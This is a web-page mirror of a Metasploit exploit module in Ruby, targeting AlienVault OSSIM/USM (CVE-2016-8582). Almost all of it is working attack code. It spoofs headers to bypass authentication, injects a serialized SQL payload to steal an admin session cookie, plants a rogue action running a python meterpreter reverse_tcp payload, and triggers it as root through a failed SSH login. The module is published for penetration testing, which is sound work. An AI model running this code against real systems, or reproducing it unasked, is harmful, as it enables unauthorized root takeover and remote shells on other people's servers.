Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/alienvault_exec.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::Remote::SSH
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => "AlienVault OSSIM/USM Remote Code Execution",
17
'Description' => %q{
18
This module exploits object injection, authentication bypass and ip spoofing vulnerabilities all together.
19
Unauthenticated users can execute arbitrary commands under the context of the root user.
20
21
By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability
22
which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue
23
action and policy that enables to execute operating system commands by using captured session token. As a final step,
24
SSH login attempt with an invalid credentials can trigger a created rogue policy which triggers an action that executes
25
operating system command with root user privileges.
26
27
This module was tested against following product and versions:
28
AlienVault USM 5.3.0, 5.2.5, 5.0.0, 4.15.11, 4.5.0
29
AlienVault OSSIM 5.0.0, 4.6.1
30
},
31
'License' => MSF_LICENSE,
32
'Author' => [
33
'Peter Lapp', # EDB advisory owner
34
'Mehmet Ince <[email protected]>' # Metasploit module
35
],
36
'References' => [
37
['CVE', '2016-8582'],
38
['URL', 'https://pentest.blog/unexpected-journey-into-the-alienvault-ossimusm-during-engagement/'],
39
['EDB', '40682']
40
],
41
'DefaultOptions' => {
42
'SSL' => true,
43
'WfsDelay' => 10,
44
'Payload' => 'python/meterpreter/reverse_tcp'
45
},
46
'Platform' => ['python'],
47
'Arch' => ARCH_PYTHON,
48
'Targets' => [
49
['Alienvault USM/OSSIM <= 5.3.0', {}]
50
],
51
'Privileged' => true,
52
'DisclosureDate' => '2017-01-31',
53
'DefaultTarget' => 0,
54
'Notes' => {
55
'Reliability' => UNKNOWN_RELIABILITY,
56
'Stability' => UNKNOWN_STABILITY,
57
'SideEffects' => UNKNOWN_SIDE_EFFECTS
58
}
59
)
60
)
61
62
register_options(
63
[
64
Opt::RPORT(443),
65
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/'])
66
]
67
)
68
end
69
70
def check
71
r = rand_text_alpha(15)
72
p = "a:1:{s:4:\"type\";s:69:\"1 AND extractvalue(rand(),concat(0x3a,(SELECT '#{r}')))-- \";}"
73
74
res = send_request_cgi({
75
'method' => 'GET',
76
'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),
77
'headers' => {
78
'User-Agent' => 'AV Report Scheduler',
79
},
80
'vars_get' => {
81
'type' => 'alarm',
82
'wtype' => 'foo',
83
'asset' => 'ALL_ASSETS',
84
'height' => 1,
85
'value' => p
86
}
87
})
88
89
if res && res.code == 200 && res.body =~ /XPATH syntax error: ':#{r}'/
90
Exploit::CheckCode::Vulnerable
91
else
92
Exploit::CheckCode::Safe
93
end
94
end
95
96
def exploit
97
# Hijacking Administrator session by exploiting objection injection vuln that end up with sqli
98
print_status("Hijacking administrator session")
99
100
sql = "SELECT id FROM sessions LIMIT 1"
101
p = "a:1:{s:4:\"type\";s:#{(sql.length + 58).to_s}:\"1 AND extractvalue(rand(),concat(0x3a3a3a,(#{sql}),0x3a3a3a))-- \";}"
102
103
res = send_request_cgi({
104
'method' => 'GET',
105
'uri' => normalize_uri(target_uri.path, 'ossim', 'dashboard', 'sections', 'widgets', 'data', 'gauge.php'),
106
'headers' => {
107
'X-Forwarded-For' => rhost.to_s,
108
'User-Agent' => 'AV Report Scheduler',
109
},
110
'vars_get' => {
111
'type' => 'alarm',
112
'wtype' => 'foo',
113
'asset' => 'ALL_ASSETS',
114
'height' => 1,
115
'value' => p
116
}
117
})
118
if res && res.code == 200 && res.body =~ /XPATH syntax error: ':::(.*):::'/
119
admin_session = $1
120
cookie = "PHPSESSID=#{admin_session}"
121
print_good("Admin session token : #{cookie}")
122
else
123
fail_with(Failure::Unknown, "Session table is empty. Wait until someone logged in and try again")
124
end
125
126
# Creating a Action that contains payload.
127
print_status("Creating rogue action")
128
r = rand_text_alpha(15)
129
130
res = send_request_cgi({
131
'method' => 'POST',
132
'uri' => normalize_uri(target_uri.path, 'ossim', 'action', 'modifyactions.php'),
133
'cookie' => cookie,
134
'headers' => {
135
'X-Forwarded-For' => rhost.to_s,
136
},
137
'vars_post' => {
138
'id' => '',
139
'action' => 'new',
140
'old_name' => '',
141
'action_name' => r,
142
'ctx' => '',
143
'old_descr' => '',
144
'descr' => r,
145
'action_type' => '2',
146
'only' => 'on',
147
'cond' => 'True',
148
'email_from' => '',
149
'email_to' => 'email;email;email',
150
'email_subject' => '',
151
'email_message' => '',
152
'transferred_user' => '',
153
'transferred_entity' => '',
154
'exec_command' => "python -c \"#{payload.encoded}\""
155
}
156
})
157
158
if res && res.code == 200 && res.body.include?("Action successfully updated")
159
print_good("Action created: #{r}")
160
else
161
fail_with(Failure::Unknown, "Unable to create action")
162
end
163
164
# Retrieving the policy id. Authentication Bypass with User-Agent Doesn't work for this endpoint.
165
# Thus we're using hijacked administrator session.
166
print_status("Retrieving rogue action id")
167
168
res = send_request_cgi({
169
'method' => 'GET',
170
'uri' => normalize_uri(target_uri.path, "ossim", "action", "getaction.php"),
171
'cookie' => cookie,
172
'headers' => {
173
'X-Forwarded-For' => rhost.to_s,
174
},
175
'vars_get' => {
176
'page' => '1',
177
'rp' => '2000'
178
}
179
})
180
181
if res && res.code == 200 && res.body =~ /actionform\.php\?id=(.*)'>#{r}<\/a>/
182
action_id = $1
183
print_good("Corresponding Action ID found: #{action_id}")
184
else
185
fail_with(Failure::Unknown, "Unable to retrieve action id")
186
end
187
188
# Retrieving the policy data. We will use it while creating policy
189
print_status("Retrieving policy ctx and group values")
190
191
res = send_request_cgi({
192
'method' => 'GET',
193
'uri' => normalize_uri(target_uri.path.to_s, "ossim", "policy", "policy.php"),
194
'cookie' => cookie,
195
'headers' => {
196
'X-Forwarded-For' => rhost.to_s,
197
},
198
'vars_get' => {
199
'm_opt' => 'configuration',
200
'sm_opt' => 'threat_intelligence',
201
'h_opt' => 'policy'
202
}
203
})
204
205
if res && res.code == 200 && res.body =~ /getpolicy\.php\?ctx=(.*)\&group=(.*)',/
206
policy_ctx = $1
207
policy_group = $2
208
print_good("CTX Value found: #{policy_ctx}")
209
print_good("GROUP Value found: #{policy_group}")
210
else
211
fail_with(Failure::Unknown, "Unable to retrieve policy data")
212
end
213
214
# Creating policy that will be trigerred when SSH authentication failed due to wrong password.
215
print_status("Creating a policy that uses our rogue action")
216
policy = rand_text_alpha(15)
217
218
res = send_request_cgi({
219
'method' => 'POST',
220
'uri' => normalize_uri(target_uri.path, "ossim", "policy", "newpolicy.php"),
221
'cookie' => cookie,
222
'headers' => {
223
'X-Forwarded-For' => rhost.to_s,
224
},
225
'vars_post' => {
226
'descr' => policy,
227
'active' => '1',
228
'group' => policy_group,
229
'ctx' => policy_ctx,
230
'order' => '1',
231
'action' => 'new',
232
'sources[]' => '00000000000000000000000000000000',
233
'dests[]' => '00000000000000000000000000000000',
234
'portsrc[]' => '0',
235
'portdst[]' => '0',
236
'plug_type' => '1',
237
'plugins[0]' => 'on',
238
'taxfilters[]' => '25@2@0',
239
'tax_pt' => '0',
240
'tax_cat' => '0',
241
'tax_subc' => '0',
242
'mboxs[]' => '00000000000000000000000000000000',
243
'rep_act' => '0',
244
'rep_sev' => '1',
245
'rep_rel' => '1',
246
'rep_dir' => '0',
247
'ev_sev' => '1',
248
'ev_rel' => '1',
249
'tzone' => 'Europe/Istanbul',
250
'date_type' => '1',
251
'begin_hour' => '0',
252
'begin_minute' => '0',
253
'begin_day_week' => '1',
254
'begin_day_month' => '1',
255
'begin_month' => '1',
256
'end_hour' => '23',
257
'end_minute' => '59',
258
'end_day_week' => '7',
259
'end_day_month' => '31',
260
'end_month' => '12',
261
'actions[]' => action_id,
262
'sim' => '1',
263
'priority' => '1',
264
'qualify' => '1',
265
'correlate' => '0',
266
'cross_correlate' => '0',
267
'store' => '0'
268
}
269
})
270
271
if res && res.code == 200
272
print_good("Policy created: #{policy}")
273
else
274
fail_with(Failure::Unknown, "Unable to create policy id")
275
end
276
277
# We gotta reload all policies in order to make our rogue one enabled.
278
print_status("Activating the policy")
279
280
res = send_request_cgi({
281
'method' => 'GET',
282
'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),
283
'cookie' => cookie,
284
'headers' => {
285
'X-Forwarded-For' => rhost.to_s,
286
},
287
'vars_get' => {
288
'what' => 'policies',
289
'back' => '../policy/policy.php'
290
}
291
})
292
293
if res && res.code == 200
294
print_good("Rogue policy activated")
295
else
296
fail_with(Failure::Unknown, "#{peer} - Unable to enable rogue policy")
297
end
298
299
# We will trigger the rogue policy by doing ssh auth attempt with invalid credential :-)
300
opts = ssh_client_defaults.merge({
301
auth_methods: ['password'],
302
port: 22,
303
password: rand_text_alpha(15)
304
})
305
306
print_status("Triggering the policy by performing SSH login attempt")
307
308
begin
309
Net::SSH.start(rhost, "root", opts)
310
rescue Net::SSH::AuthenticationFailed
311
print_good("SSH - Failed authentication. That means our policy and action will be trigged..!")
312
rescue Net::SSH::Exception => e
313
print_error("SSH Error: #{e.class} : #{e.message}")
314
return nil
315
end
316
end
317
end
318
319